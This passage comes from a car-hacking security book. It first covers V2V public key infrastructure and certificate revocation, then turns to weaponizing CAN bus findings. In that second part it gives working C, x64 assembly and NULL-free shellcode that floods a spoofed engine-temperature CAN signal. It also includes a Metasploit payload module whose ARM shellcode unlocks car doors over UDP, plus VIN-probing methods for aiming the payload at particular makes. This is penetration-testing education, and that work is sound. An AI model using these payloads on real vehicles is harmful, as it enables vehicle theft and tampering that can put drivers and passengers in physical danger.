This table shows some of the goals a malicious actor may have when 
attacking V2V systems and the types of attacks they might launch in order to 
achieve those objectives. The top columns of the chart define an attacker’s 
possible objectives and the areas they might focus on. The chart is rather sim-
plistic but might give you some idea as to which areas to research further.
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PKI-Based Security Measures
While much of the technology and security behind V2V is still being ironed 
out, we do know that the security for cellular, DSRC, and hybrid commu-
nications is based on a public key infrastructure (PKI) model much like 
the SSL model on websites. By generating public and private key pairs, 
PKI systems allow users to create digital signatures for use in encrypting 
and decrypting documents sent over networks. Public keys can be openly 
exchanged and are used to encrypt data between destinations. Once 
encrypted, only private keys can be used to decrypt the data. The data is 
signed with the sender’s private key in order to verify its origin.  

PKI uses public key cryptography and central certificate authorities 
(CAs) to validate public keys. The CA is a trusted source that can hand out 
and revoke public keys for a given destination. The V2V PKI system is some-
times also referred to as the Security Credentials Management System (SCMS).

For a PKI system to function, it must enforce the following:

Accountability  Identities should be verifiable using trusted signatures.

Integrity  Signed data must be verifiable to make sure that it hasn’t 
been altered in transit.

Nonrepudiation  Transactions must be signed.

Privacy  Traffic must be encrypted.

Trust  The CA must be trusted.

V2V and V2I systems rely on PKI and a CA to secure data transmission, 
though the identity of the CA has yet to be determined. This is the same 
system that your browser uses on the Internet. On your browser’s Settings 
screen, you should find a HTTPS/SSL section listing all authorized root 
authorities. When you buy a certificate from one of these CAs and use it 
on a web server, other browsers will verify this certificate against the CA 
to ensure it’s trusted. In a normal PKI system, the company that set up the 
environment controls the CA, but in V2V, government groups or countries 
will likely control the CA. 

Vehicle Certificates
The PKI systems used to secure today’s Internet communication have large 
certificate files, but due to limited storage space and the need to avoid con-
gestion on the DSRC channels, vehicle PKI systems require shorter keys. To 
accommodate this need, vehicle PKI systems use elliptical curve cryptogra-
phy (ECDSA-256) keys, which generate certificates that are one-eighth the 
size of Internet certificates.

The vehicles participating in V2V communication use two types of 
certificates:

Long-term certificate (LTC)
This certificate contains vehicle identifiers and can be revoked. It’s used 
to get short-term certificate refills.
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Short-term, pseudonym certificate (PC)
This certificate has a short expiry time and, therefore, doesn’t need to 
be revoked because it simply expires. It’s used for anonymous trans-
fers, which are designed for common messages like braking or road 
conditions.

Anonymous Certificates
PKI systems are traditionally set up to identify the sender, but with infor-
mation being broadcast to unknown vehicles and devices, it’s important to 
ensure that V2V systems don’t send information that can be traced back, 
such as packets signed by the source. 

For that reason, there’s a provision in the V2V spec that allows you to 
sign packets anonymously, with only enough information to show that the 
packet came from a “certified terminal.” Though this is more secure than 
sending packets signed by the author, it would still be possible for someone 
to examine the anonymous certificate signature on a given route and deter-
mine the route that vehicle is traveling (in the same way that you might use 
the unique ID transmitted from a tire pressure monitor sensor to track a 
vehicle’s progress). To compensate for this, the spec states that the device 
should use short-lived certificates that will last for only five minutes. 

Currently, however, the systems being developed are planning to use 
20 or more certificates that are all simultaneously valid with a lifetime of a 
week, which could prove to be a security flaw.

Certificate Provisioning
Certificates are generated through a process called certificate provisioning. 
V2V systems use a lot of short-term certificates, which need to be provisioned 
on a regular basis in order to replenish a device’s certificates so that it can 
use them for anonymous messaging. The full details of how privacy works in 
V2V certificate systems is actually quite complicated, as the CAMP diagram 
in Figure 10-3 shows.

Prepare yourself for a lot of larvae references—as in caterpillar, cocoon, 
and butterfly—as we review how the certificate-provisioning process works:

1.	 First, the device—that is, the vehicle—generates what’s known as a 
“caterpillar” keypair, which sends the public key and an Advanced 
Encryption Standard (AES) expansion number to the Registration 
Authority (RA).

2.	 The RA generates a bunch of what are known as “cocoon” public keys 
from the caterpillar public key as well as the expansion number. These 
become new private keys. The number of keys is arbitrary and not cor-
related with the device requesting the keys. (As of this writing, the 
request includes some ID information from the linkage authorities and 
should shuffle the request with requests from other vehicles. This shuf-
fling is designed to help obscure which vehicle made each request in an 
attempt to improve privacy.)
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3.	 The Pseudonym Certificate Authority (PCA) randomizes the cocoon 
keys and generates the “butterfly” keys. These are then returned to the 
originating device over an encrypted channel so the RA can’t see the 
contents.
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Figure 10-3: Certificate-provisioning flow graph

In theory, the originating device can request enough short-term keys to 
last the vehicle’s lifetime, which is why the certificate revocation list (CRL)is 
important. If a vehicle has one month’s worth of certificates, it won’t check 
for new updates until that month is up, so a bad actor can continue to com-
municate with this vehicle until there’s an update. If the vehicle has a year’s 
worth or more of certificates and no CRL functionality, then things can get 
real bad real fast because it won’t be able to identify bad actors. 

N O T E 	 Notice the location obscurer proxy (LOP) in the certificate-provisioning chart. This 
is a filter to remove identifiable information, such as location, from the request. A 
request should get through an LOP before the RA sees it.
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Updating the Certificate Revocation List
The CRL is a list of “bad” certificates. Certificates sometimes go bad because 
they’re compromised by an attacker or lost by their owner or because a device 
is misbehaving for some reason that the CA considers detrimental. A device 
must update its CRL so that it can determine which certificates, if any, are no 
longer trustworthy. 

The CRL can be large, and it isn’t always feasible to download the entire 
list through DSRC or opportunistic Wi-Fi. Therefore, most systems will imple-
ment an incremental update period, which the manufacturer decides, but 
even that can cause issues. DSRC requires roadside devices to send the list, 
but in order to receive large chunks of data, the vehicle must travel past the 
roadside devices slowly enough that they have enough time to receive the 
CRL. Because most devices will be situated on major highways, with only a 
few on side roads, the only opportunity a vehicle might have to receive an 
updated list is during a traffic jam. The best way to retrieve an updated CRL 
is, therefore, through cellular or full-satellite communication, though that’s 
still slow. With high-speed cellular or full-satellite links, it would be possible 
to receive incremental updates or full downloads if required.

One possible way to distribute an updated CRL is to have vehicles com-
municate updates to each other via the V2V interface itself. While a vehicle 
may not be in contact with a roadside device long enough to complete an 
update, it’s sure to encounter hundreds, if not thousands, of other vehicles 
on a journey. 

Risks of V2V Updates

While updating via the V2V interface is very tempting because it lowers the 
infrastructure cost and overhead significantly (because you don’t need to 
invest in lots of additional roadside infrastructure) it has its limits. For one, 
a vehicle could receive a CRL download only from nearby cars traveling in 
the same direction long enough to complete the download; cars going in 
opposite directions may pass by too quickly. This V2V method also provides 
the opportunity for a bad actor to inject a bad CRL that could either block 
legitimate devices or hide bad actors, and that bad CRL could then circu-
late through traffic like a virus. 

Unfortunately, V2V protocol security focuses entirely on communica-
tion protocols. The onboard system, such as the ECU, is responsible for 
requesting and storing CRLs, reporting misbehavior, and sending vehicle 
information, but this unsecured system provides an easy gateway for attack-
ers to inject their code. Instead of taking over the device performing the 
actual V2V communication, they could simply modify the ECU firmware or 
spoof packets on the bus, and the V2V device would then faithfully sign and 
send the information out to the network. It’s because of this latter vulner-
ability that this method has been unofficially dubbed the epidemic distribu-
tion model.



192   Chapter 10

Linkage Authorities

When dealing with thousands of pseudonym, or short-term, certificates, 
revocation can be a nightmare, and that’s where the linkage authority (LA) 
comes in. The LA can revoke all generated certificates from a vehicle with 
just one CRL entry. In this way, even if bad actors gather numerous certifi-
cates before being identified and blocked, the LA can still shut them down.

N O T E 	 Most V2V systems are being designed to support an internal blacklist that’s separate 
from the CRL. A manufacturer or device may blacklist any device.

Misbehavior Reports
V2V and V2I systems are being designed to allow for the ability to send 
misbehavior reports on anything from standard vehicle malfunctions to 
notifications of hackers messing with the system. These misbehavior reports 
are then supposed to trigger the revocation of certificates. But how does a 
vehicle know whether it has a hacked packet? The answer differs for each 
automotive industry, but the general concept is that the ECU—or some 
other device—would receive a packet and check whether it “makes sense.” 
For example, the receiving device might validate a message against a GPS 
signal or identify reports of a vehicle traveling at improbable speeds, say 
500 mph. When something erroneous is detected, the vehicle should send 
a misbehavior report, which would eventually lead to revocation of that cer-
tificate. A misbehavior authority (MA) would be tasked with identifying and 
revoking certificates from the misbehaving device. 

One interesting scenario to consider is that of a vehicle with a low CRL 
update interval—or that of a vehicle that hasn’t been near a roadside device 
in awhile—leaving it with an outdated revocation list. Such a vehicle might 
unknowingly forward incorrect information, which would cause it to be 
reported as a bad actor and which might lead to revocation of its certificate. 
What happens then? When can the vehicle be trusted again? 

When performing security testing, make sure to include these possible 
scenarios in your research.

Summary
This chapter discussed the plan for V2V communication. V2V devices are 
still in development and many deployment decisions are still to be made. As 
this technology rolls out, the various vendors will interpret the rules differ-
ently and in ways that could lead to interesting security gaps. Hopefully as 
these early devices start to trickle out into the marketplace, this chapter will 
be a useful guide for performing security audits.
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Weapon      i z i ng   C A N  F i nd  i ngs 

Now that you’re able to explore and iden-
tify CAN packets, it’s time to put that 

knowledge to use and learn to hack some-
thing. You’ve already used your identified 

packets to perform actions on a car, but unlocking 
or starting a car using packets is recon, rather than 
actual hacking. The goal of this chapter is to show you how to weaponize 
your findings. In the software world, weaponize means “take an exploit 
and make it easy to execute.” When you first find a vulnerability, it may 
take many steps and specific knowledge to successfully pull off the exploit. 
Weaponizing a finding enables you to take your research and put it into a 
self-contained executable. 

In this chapter, we’ll see how to take an action—for example, unlock-
ing a car—and put it into Metasploit, a security auditing tool designed to 
exploit software. Metasploit is a popular attack framework often used in 
penetration testing. It has a large database of functional exploits and pay-
loads, the code that runs once a system has been exploited—for example, 
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once the car has been unlocked. You’ll find a wealth of information on 
Metasploit online and in print, including Metasploit: The Penetration Tester’s 
Guide (No Starch Press, 2011). 

In order to weaponize your findings you will need to write code. In this 
chapter, we’ll write a Metasploit payload designed to target the architecture 
of the infotainment or telematics system. As our first exercise, we’ll write 
shellcode, the small snippet of code that’s injected into an exploit, to create 
a CAN signal that will control a vehicle’s temperature gauge. We’ll include a 
loop to make sure our spoofed CAN signal is continuously sent, with a built-
in delay to prevent the bus from being flooded with packets that might create 
an inadvertent denial-of-service attack. Next, we’ll write the code to control 
the temperature gauge. Then, we’ll convert that code into shellcode so that 
we can fine-tune it to make the shellcode smaller or reduce NULL values if 
necessary. When we’re finished, we’ll have a payload that we can place into 
a specialized tool or use with an attack framework like Metasploit.

N ote   	 To get the most out of this chapter, you’ll need to have a good understanding of pro-
gramming and programming methodologies. I assume some familiarity with C and 
assembly languages, both x86 and ARM, and the Metasploit framework.

Writing the Exploit in C
We’ll write the exploit for this spoofed CAN signal in C because C compiles 
to fairly clean assembly that we can reference to make our shellcode. We’ll 
use vcan0, a virtual CAN device, to test the exploit, but for the real exploit, 
you’d want to instead use can0 or the actual CAN bus device that you’re tar-
geting. Listing 11-1 shows the temp_shell exploit.

N ote   	 You’ll need to create a virtual CAN device in order to test this program. See Chapter 3 
for details.

In Listing 11-1, we create a CAN packet with an arbitration ID of 0x510 
and set the second byte to 0xFF. The second byte of the 0x510 packet repre-
sents the engine temperature. By setting this value to 0xFF, we max out the 
reported engine temperature, signaling that the vehicle is overheating. The 
packet needs to be sent repeatedly to be effective.

--- temp_shell.c
#include <sys/types.h> 
#include <sys/socket.h> 
#include <sys/ioctl.h> 
#include <net/if.h> 
#include <netinet/in.h> 
#include <linux/can.h> 
#include <string.h> 

int main(int argc, char *argv[]) { 
    int s; 
    struct sockaddr_can addr; 
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    struct ifreq ifr; 
    struct can_frame frame; 
 
    s = socket(uPF_CAN, SOCK_RAW, CAN_RAW); 

    strcpy(ifr.ifr_name, "vcan0"); 
    ioctl(s, SIOCGIFINDEX, &ifr); 

    addr.can_family = AF_CAN; 
    addr.can_ifindex = ifr.ifr_ifindex; 

    bind(s, (struct sockaddr *)&addr, sizeof(addr)); 

     frame.can_id = 0x510; 
    frame.can_dlc = 8; 
    frame.data[1] = 0xFF; 
    while(1) { 
      write(s, &frame, sizeof(struct can_frame)); 

       usleep(500000);
    } 
}

Listing 11-1: C loop to spam CAN ID 0x510

Listing 11-1 sets up a socket in almost the same way as you’d set up 
a normal networking socket, except it uses the CAN family PF_CAN . We 
use ifr_name to define which interface we want to listen on—in this case, 
"vcan0" . 

We can set up our frame using a simple frame structure that matches 
our packet, with can_id  containing the arbitration ID, can_dlc containing 
the packet length, and the data[] array holding the packet contents. 

We want to send this packet more than once, so we set up a while loop 
and set a sleep timer  to send the packet at regular intervals. (Without the 
sleep statement, you’d flood the bus and other signals wouldn’t be able to 
talk properly.) 

To confirm that this code works, compile it as shown here: 

$ gcc -o temp_shell temp_shell.c
$ ls -l temp_shell 
-rwxrwxr-x 1 craig craig 8722 Jan  6 07:39 temp_shell
$ ./temp_shell

Now run candump in a separate window on vcan0, as shown in the next 
listing. The temp_shell program should send the necessary CAN packets to 
control the temperate gauge. 

$ candump vcan0
  vcan0  510   [8]  5D FF 40 00 00 00 00 00 
  vcan0   510   [8]    5D   FF   40 00 00 00 00 00 
  vcan0   510   [8]    5D   FF   40 00 00 00 00 00 
  vcan0   510   [8]    5D   FF   40 00 00 00 00 00 
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The candump results show that the signal 0x510  is repeatedly broadcast 
and that the second byte is properly set to 0xFF . Notice that the other 
values of the CAN packet are set to values that we didn’t specify, such as 
0x5D  and 0x40 . This is because we didn’t initialize the frame.data sec-
tion, and there is some memory garbage in the other bytes of the signal. To 
get rid of this memory garbage, set the other bytes of the 0x510 signal to the 
values you recorded during testing when you identified the signal—that is, 
set the other bytes to frame.data[].

Converting to Assembly Code
Though our temp_shell program is small, it’s still almost 9KB because we 
wrote it in C, which includes a bunch of other libraries and code stubs that 
increase the size of the program. We want our shellcode to be as small as 
possible because we’ll often have only a small area of memory available for 
our exploit to run, and the smaller our shellcode, the more places it can be 
injected. 

In order to shrink the size of our program, we’ll convert its C code  
to assembly and then convert the assembly shellcode. If you’re already 
familiar with assembly language, you could just write your code in assembly 
to begin with, but most people find it easier to test their payloads in C first. 

The only difference between writing this script and standard assembly 
scripts is that you’ll need to avoid creating NULLs, as you may want to inject 
the shellcode into a buffer that might null-terminate. For example, buffers 
that are treated as strings will scan the values and stop when it see a NULL 
value. If your payload has a NULL in the middle, your code won’t work. (If 
you know that your payload will never be used in a buffer that will be inter-
preted as a string, then you can skip this step.) 

N ote   	 Alternatively, you could wrap your payload with an encoder to hide any NULLs, but 
doing so will increase its size, and using encoders is beyond the scope of this chapter. 
You also won’t have a data section to hold all of your string and constant values 
as you would in a standard program. We want our code to be self-sufficient and we 
don’t want to rely on the ELF header to set up any values for us, so if we want to use 
strings in our payload, we have to be creative in how we place them on the stack.

In order to convert the C code to assembly, you will need to review the 
system header files. All method calls go right to the kernel, and you can see 
them all in this header file: 

/usr/include/asm/unistd_64.h  

For this example, we’ll use 64-bit assembly, which uses the following 
registers: %rax, %rbx, %rcx, %rdx, %rsi, %rdi, %rbp, %rsp, %r8, %r15, %rip, %eflags, 
%cs, %ss, %ds, %es, %fs, and %gs.



Weaponizing CAN Findings   197

To call a kernel system call, use syscall—rather than int 0x80—where 
%rax has the system call number, which you can find in unistd_64.h. The 
parameters are passed in the registers in this order: %rdi, %rsi, %rdx, %r10, %r8, 
and %r9.

Note that the register order is slightly different than when passing argu-
ments to a function.

Listing 11-2 shows the resulting assembly code that we store in the 
temp_shell.s file.

--- temp_shell.S
section .text 
global _start 

_start: 
                             ; s = socket(PF_CAN, SOCK_RAW, CAN_RAW); 
  push 41                    ; Socket syscall from unistd_64.h 
  pop rax 
  push 29                    ; PF_CAN from socket.h 
  pop rdi 
  push 3                     ; SOCK_RAW from socket_type.h 
  pop rsi 
  push 1                     ; CAN_RAW from can.h 
  pop rdx 
  syscall 
  mov r8, rax                ; s / File descriptor from socket 
                             ; strcpy(ifr.ifr_name, "vcan0" ); 
  sub rsp, 40                ;  struct ifreq is 40 bytes 
  xor r9, r9                 ; temp register to hold interface name 
  mov r9, 0x306e616376       ; vcan0 
  push r9 
  pop qword [rsp] 
                             ; ioctl(s, SIOCGIFINDEX, &ifr); 
  push 16                    ; ioctrl from unistd_64.h 
  pop rax 
  mov rdi, r8                ; s / File descriptor 
  push 0x8933                ; SIOCGIFINDEX from ioctls.h 
  pop rsi 
  mov rdx, rsp               ; &ifr 
  syscall 
  xor r9, r9                 ; clear r9 
  mov r9, [rsp+16]            ; ifr.ifr_ifindex 
                              ; addr.can_family = AF_CAN; 
  sub rsp, 16                 ; sizeof sockaddr_can 
  mov word [rsp], 29          ; AF_CAN == PF_CAN 
                              ; addr.can_ifindex = ifr.ifr_ifindex; 
  mov [rsp+4], r9 
                              ; bind(s, (struct sockaddr *)&addr, 
sizeof(addr)); 
  push 49                     ; bind from unistd_64.h 
  pop rax 
  mov rdi, r8                 ; s /File descriptor 
  mov rsi, rsp                ; &addr 
  mov rdx, 16                 ; sizeof(addr) 
  syscall 
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  sub rsp, 16                 ; sizeof can_frame 
  mov word [rsp], 0x510       ; frame.can_id = 0x510;
 
  mov byte [rsp+4], 8        ;   frame.can_dlc = 8;
 
  mov byte [rsp+9], 0xFF     ;  frame.data[1] = 0xFF;
                             ; while(1) 
loop: 
                             ; write(s, &frame, sizeof(struct can_frame)); 
  push 1                     ; write from unistd_64.h 
  pop rax 
  mov rdi, r8                ; s / File descriptor 
  mov rsi, rsp               ; &frame 
  mov rdx, 16                ; sizeof can_frame 
  syscall 
                             ; usleep(500000); 
  push 35                    ; nanosleep from unistd_64.h 
  pop rax 
  sub rsp, 16 
  xor rsi, rsi 
  mov [rsp], rsi             ; tv_sec 
  mov dword [rsp+8], 500000  ; tv_nsec 
  mov rdi, rsp 
  syscall 
  add rsp, 16 
  jmp loop 

Listing 11-2: Sending CAN ID 0x510 packets in 64-bit assembly

The code in Listing 11-2 is exactly the same as the C code we wrote in 
Listing 11-1, except that it’s now written in 64-bit assembly. 

N ote   	 I’ve commented the code to show the relationship between the lines of the original C 
code and each chunk of assembly code. 

To compile and link the program to make it an executable, use nasm and 
ld, as shown here:

$ nasm -f elf64 -o temp_shell2.o temp_shell.S
$ ld -o temp_shell2 temp_shell2.o
$ ls -l temp_shell2 
-rwxrwxr-x 1 craig craig u1008 Jan  6 11:32 temp_shell2 

The size of the object header now shows that the program is around 
1008 bytes , or just over 1KB, which is significantly smaller than the com-
piled C program. Once we strip the ELF header caused by the linking step 
(ld), our code will be even smaller still.
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Converting Assembly to Shellcode
Now that your program is of more suitable size, you can use one line of 
Bash to convert your object file to shellcode right at the command line, as 
shown in Listing 11-3.

$ for i in $(objdump -d temp_shell2.o -M intel |grep "^ " |cut -f2); do echo 
-n '\x'$i; done;echo 
\x6a\x29\x58\x6a\x1d\x5f\x6a\x03\x5e\x6a\x01\x5a\x0f\x05\x49\x89\xc0\x48\x83\
xec\x28\x4d\x31\xc9\x49\xb9\x76\x63\x61\x6e\x30\x00\x00\x00\x41\x51\x8f\x04\
x24\x6a\x10\x58\x4c\x89\xc7\x68\x33\x89\x00\x00\x5e\x48\x89\xe2\x0f\x05\x4d\
x31\xc9\x4c\x8b\x4c\x24\x10\x48\x83\xec\x10\x66\xc7\x04\x24\x1d\x00\x4c\x89\
x4c\x24\x04\x6a\x31\x58\x4c\x89\xc7\x48\x89\xe6\xba\x10\x00\x00\x00\x0f\x05\
x48\x83\xec\x10\x66\xc7\x04\x24\x10\x05\xc6\x44\x24\x04\x08\xc6\x44\x24\x09\
xff\x6a\x01\x58\x4c\x89\xc7\x48\x89\xe6\xba\x10\x00\x00\x00\x0f\x05\x6a\x23\
x58\x48\x83\xec\x10\x48\x31\xf6\x48\x89\x34\x24\xc7\x44\x24\x08\x20\xa1\x07\
x00\x48\x89\xe7\x0f\x05\x48\x83\xc4\x10\xeb\xcf

Listing 11-3: Converting object file to shellcode

This series of commands runs through your compiled object file and 
pulls out the hex bytes that make up the program, printing them to the 
screen. The bytes output is your shellcode. If you count up the printed 
bytes, you can see that this shellcode is 168 bytes—that’s more like it.

Removing NULLs
But we’re not done yet. If you look at the shellcode in Listing 11-3, you’ll 
notice that we still have some NULL values (\x00) that we need to eliminate. 
One way to do so is to use a loader, which Metasploit has, to wrap the bytes 
or rewrite parts of the code to eliminate the NULLs. 

You could also rewrite your assembly to remove NULLs from the final 
assembly, typically by replacing MOVs and values that would have NULLs in 
them with a command to erase a register and another command to add the 
appropriate value. For instance, a command like MOV RDI, 0x03 will convert 
to hex that has a lot of leading NULLs before the 3. To get around this, 
you could first XOR RDI to itself (XOR RDI, RDI), which would result in RDI 
being a NULL, and then increase RDI (INC RDI) three times. You may have 
to be creative in some spots.

Once you’ve made the modifications to remove these NULL values, you 
can convert the shellcode to code that can be embedded in a string buffer. 
I won’t show the altered assembly code because it’s not very legible, but the 
new shellcode looks like this:

\x6a\x29\x58\x6a\x1d\x5f\x6a\x03\x5e\x6a\x01\x5a\x0f\x05\x49\x89\xc0\x48\x83\
xec\x28\x4d\x31\xc9\x41\xb9\x30\x00\x00\x00\x49\xc1\xe1\x20\x49\x81\xc1\x76\
x63\x61\x6e\x41\x51\x8f\x04\x24\x6a\x10\x58\x4c\x89\xc7\x41\xb9\x11\x11\x33\
x89\x49\xc1\xe9\x10\x41\x51\x5e\x48\x89\xe2\x0f\x05\x4d\x31\xc9\x4c\x8b\x4c\
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x24\x10\x48\x83\xec\x10\xc6\x04\x24\x1d\x4c\x89\x4c\x24\x04\x6a\x31\x58\x4c\
x89\xc7\x48\x89\xe6\xba\x11\x11\x11\x10\x48\xc1\xea\x18\x0f\x05\x48\x83\xec\
x10\x66\xc7\x04\x24\x10\x05\xc6\x44\x24\x04\x08\xc6\x44\x24\x09\xff\x6a\x01\
x58\x4c\x89\xc7\x48\x89\xe6\x0f\x05\x6a\x23\x58\x48\x83\xec\x10\x48\x31\xf6\
x48\x89\x34\x24\xc7\x44\x24\x08\x00\x65\xcd\x1d\x48\x89\xe7\x0f\x05\x48\x83\
xc4\x10\xeb\xd4 

Creating a Metasploit Payload
Listing 11-4 is a template for a Metasploit payload that uses our shellcode. 
Save this payload in modules/payloads/singles/linux/armle/, and name it some-
thing similar to the action that you’ll be performing, like flood_temp.rb. The 
example payload in Listing 11-4 is designed for an infotainment system on 
ARM Linux with an Ethernet bus. Instead of modifying temperature, this 
shellcode unlocks the car doors. The following code is a standard payload 
structure, other than the payload variable that we set to the desired vehicle 
shellcode.

Require 'msf/core'

module Metasploit3
   include Msf::Payload::Single
   include Msf::Payload::Linux

  def initialize(info = {})
    super(merge_info(info,
      'Name'          => 'Unlock Car',
      'Description'   => 'Unlocks the Driver Car Door over Ethernet',
      'Author'        => 'Craig Smith',
      'License'       => MSF_LICENSE,
      'Platform'      => 'linux',
      'Arch'          => ARCH_ARMLE))
   end
   def generate_stage(opts={})

      payload = "\x02\x00\xa0\xe3\x02\x10\xa0\xe3\x11\x20\xa0\xe3\x07\x00\x2d\
xe9\x01\x00\xa0\xe3\x0d\x10\xa0\xe1\x66\x00\x90\xef\x0c\xd0\x8d\xe2\x00\x60\
xa0\xe1\x21\x13\xa0\xe3\x4e\x18\x81\xe2\x02\x10\x81\xe2\xff\x24\xa0\xe3\x45\
x28\x82\xe2\x2a\x2b\x82\xe2\xc0\x20\x82\xe2\x06\x00\x2d\xe9\x0d\x10\xa0\xe1\
x10\x20\xa0\xe3\x07\x00\x2d\xe9\x03\x00\xa0\xe3\x0d\x10\xa0\xe1\x66\x00\x90\
xef\x14\xd0\x8d\xe2\x12\x13\xa0\xe3\x02\x18\x81\xe2\x02\x28\xa0\xe3\x00\x30\
xa0\xe3\x0e\x00\x2d\xe9\x0d\x10\xa0\xe1\x0c\x20\xa0\xe3\x06\x00\xa0\xe1\x07\
x00\x2d\xe9\x09\x00\xa0\xe3\x0d\x10\xa0\xe1\x66\x00\x90\xef\x0c\xd0\x8d\xe2\
x00\x00\xa0\xe3\x1e\xff\x2f\xe1"
   end
end

Listing 11-4: Template for Metasploit payload using our shellcode



Weaponizing CAN Findings   201

The payload variable  in Listing 11-4 translates to the following ARM 
assembly code:

        /* Grab a socket handler for UDP */
        mov     %r0, $2 /* AF_INET */
        mov     %r1, $2 /* SOCK_DRAM */
        mov     %r2, $17        /* UDP */
        push    {%r0, %r1, %r2}
        mov     %r0, $1 /* socket */
        mov     %r1, %sp
        svc     0x00900066
        add     %sp, %sp, $12

        /* Save socket handler to %r6 */
        mov     %r6, %r0

        /* Connect to socket */
        mov     %r1, $0x84000000
        add     %r1, $0x4e0000
        add     %r1, $2         /* 20100 & AF_INET */
        mov     %r2, $0xff000000
        add     %r2, $0x450000
        add     %r2, $0xa800
        add     %r2, $0xc0 /* 192.168.69.255 */
        push    {%r1, %r2}
        mov     %r1, %sp
        mov     %r2, $16        /* sizeof socketaddr_in */
        push    {%r0, %r1, %r2}
        mov     %r0, $3 /* connect */
        mov     %r1, %sp
        svc     0x00900066
        add     %sp, %sp, $20

        /* CAN Packet */
        /* 0000 0248 0000 0200 0000 0000 */
        mov     %r1, $0x48000000  /* Signal */
        add     %r1, $0x020000
        mov     %r2, $0x00020000  /* 1st 4 bytes */
        mov     %r3, $0x00000000  /* 2nd 4 bytes */
        push    {%r1, %r2, %r3}
        mov     %r1, %sp
        mov     %r2, $12        /* size of pkt */

        /* Send CAN Packet over UDP */
        mov     %r0, %r6
        push    {%r0, %r1, %r2}
        mov     %r0, $9 /* send */
        mov     %r1, %sp
        svc     0x00900066
        add     %sp, %sp, $12
        
        /* Return from main - Only for testing, remove for exploit */
        mov     %r0, $0
        bx      lr
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This code is similar to the shellcode we created in Listing 11-3, except 
that it’s built for ARM rather than x64 Intel, and it functions over Ethernet 
instead of talking directly to the CAN drivers. Of course, if the infotain-
ment center uses a CAN driver rather than an Ethernet driver, you need to 
write to the CAN driver instead of the network. 

Once you have a payload ready, you can add it to the arsenal of exist-
ing Metasploit exploits for use against a vehicle’s infotainment center. 
Because Metasploit parses the payload file, you can simply choose it as 
an option to use against any target infotainment unit. If a vulnerability is 
found, the payload will run and perform the action of the packet you mim-
icked, such as unlocking the doors, starting the car, and so on.

N ote   	 You could write your weaponizing program in assembly and use it as your exploit 
rather than going through Metasploit, but I recommend using Metasploit. It has a 
large collection of vehicle-based payloads and exploits available, so it’s worth the extra 
time it takes to convert your code.

Determining Your Target Make
So far you’ve located a vulnerability in an infotainment unit and you have 
the CAN bus packet payload ready to go. If your intention was to perform 
a security engagement on just one type of vehicle, you’re good to go. But 
if you intend to use your payload on all vehicles with a particular infotain-
ment or telematics system installed, you have a bit more to do; these systems 
are installed by various manufacturers and CAN bus networks vary between 
manufacturers and even between models. 

In order to use this exploit against more than one type of vehicle, you’ll 
need to detect the make of the vehicle that your shellcode is executing on 
before transmitting packets. 

Warn    i ng  	 Failure to detect the make of the vehicle could produce unexpected results and could 
be very dangerous! For example, a packet that on one make of vehicle unlocks the car 
door could bleed the brakes on another. There’s no way to know for sure where your 
exploit will run, so be sure to verify the vehicle. 

Determining the make of vehicle is analogous to determining which OS 
version the target host is running, as we did in “Determining the Update File 
Type” on page 160. You may be able to find this information in the memory 
space of the infotainment unit by adding the ability to scan RAM in your 
shellcode. Otherwise, there are two ways to determine what type of vehicle 
your code is running on via the CAN bus: interactive probing and passive 
CAN bus fingerprinting.
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Interactive Probing
The interactive probing method involves using the ISO-TP packets to query 
the PID that holds the VIN. If we can access the VIN and decipher the code, 
it’ll tell us the make and model of the target vehicle. 

Querying the VIN

Recall from “Sending Data with ISO-TP and CAN” on page 55 that you 
use the OBD-II Mode 2 PID 9 protocol to query the VIN. This protocol uses 
the ISO-TP multipacket standard, which can be cumbersome to implement 
in shellcode. You can, however, just take what you need from the ISO-TP 
standard rather than implementing it in full. For example, because ISO-TP 
runs as normal CAN traffic, you could send a packet with your shellcode 
using an ID of 0x7DF and a 3-byte packet payload of 0x02 0x09 0x02; then 
you could receive normal CAN traffic with an ID 0x7E8. The first packet 
received will be part of a multipart packet followed by the remaining pack-
ets. The first packet has the most significant information in it and may be 
all you need to differentiate between vehicles. 

N ote   	 You could assemble the multipart packet yourself and then implement a full VIN 
decoder, but doing so can be inefficient. Regardless of whether you reassemble the full 
VIN or just use a segment of the VIN, it’s better to decode the VIN yourself. 

Decoding the VIN

The VIN has a fairly simple layout. The first three characters, known as the 
World Manufacturer Identifier (WMI) code, represent the make of the vehicle. 
The first character in the WMI code determines the region of manufacture. 
The next two characters are manufacturer specific. (The list is too long to 
print here, but you can find a list of WMI codes with a simple online search.) 
For example, in Chapter 4 (see Table 4-4 on page 57 ) we had a VIN of 
1G1ZT53826F109149, which gave us a WMI of 1G1. According to the WMI 
codes, this tells us that the make of the car is Chevrolet.

The next 6 bytes of the VIN make up the Vehicle Descriptor Section (VDS). 
The first 2 bytes in the VDS—bytes 4 and 5 of the VIN—tell us the vehicle 
model and other specs, such as how many doors the vehicle has, the engine 
size, and so on. For example, in the VIN 1G1ZT53826F109149, the VDS is 
ZT5382, of which ZT gives us the model. A quick search online tells us that 
this is a Chevrolet Malibu. (The details of the VDS vary depending on the 
vehicle and the manufacturer.)

If you need the year your vehicle was made, you’ll have to grab more 
packets because the year is stored at byte 10. This byte isn’t directly 
translatable, and you’ll need to use a table to determine the year (see 
Table 11-1). 
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Table 11-1: Determining the Year of Manufacture

Character Year Character Year Character Year Character Year

A 1980 L 1990 Y 2000 A 2010

B 1981 M 1991 1 2001 B 2011

C 1982 N 1992 2 2002 C 2012

D 1983 P 1993 3 2003 D 2013

E 1984 R 1994 4 2004 E 2014

F 1985 W 1995 5 2005 F 2015

G 1986 T 1996 6 2006 G 2016

H 1987 V 1997 7 2007 H 2017

J 1988 W 1998 8 2008 J 2018

K 1989 X 1999 9 2009 K 2019

For exploit purposes, knowing the year isn’t as important as know-
ing whether your code will work on your target vehicle, but if your exploit 
depends on an exact make, model, and year, you’ll need to perform this 
step. For instance, if you know that the infotainment system you’re target-
ing is installed in both Honda Civics and Pontiac Azteks, you can check the 
VIN to see whether your target vehicle fits. Hondas are manufactured in 
Japan and Pontiacs are made in North America, so the first byte of the WMI 
needs to be either a J or a 1, respectively. 

N O T E 	 Your payload would still work on other vehicles made in North America or Japan if 
that radio unit is installed in some other vehicle that you’re unaware of.

Once you know what platform you’re running on, you can either 
execute the proper payload if you’ve found the right vehicle or exit out 
gracefully. 

Detection Risk of Interactive Probing

The advantage of using interactive probing to determine the make of your 
target vehicle is that this method will work for any make or model of car. 
Every car has a VIN that can be decoded to give you the information you 
need, and you need no prior knowledge of the platform’s CAN packets in 
order to make a VIN query. However, this method does require you to trans-
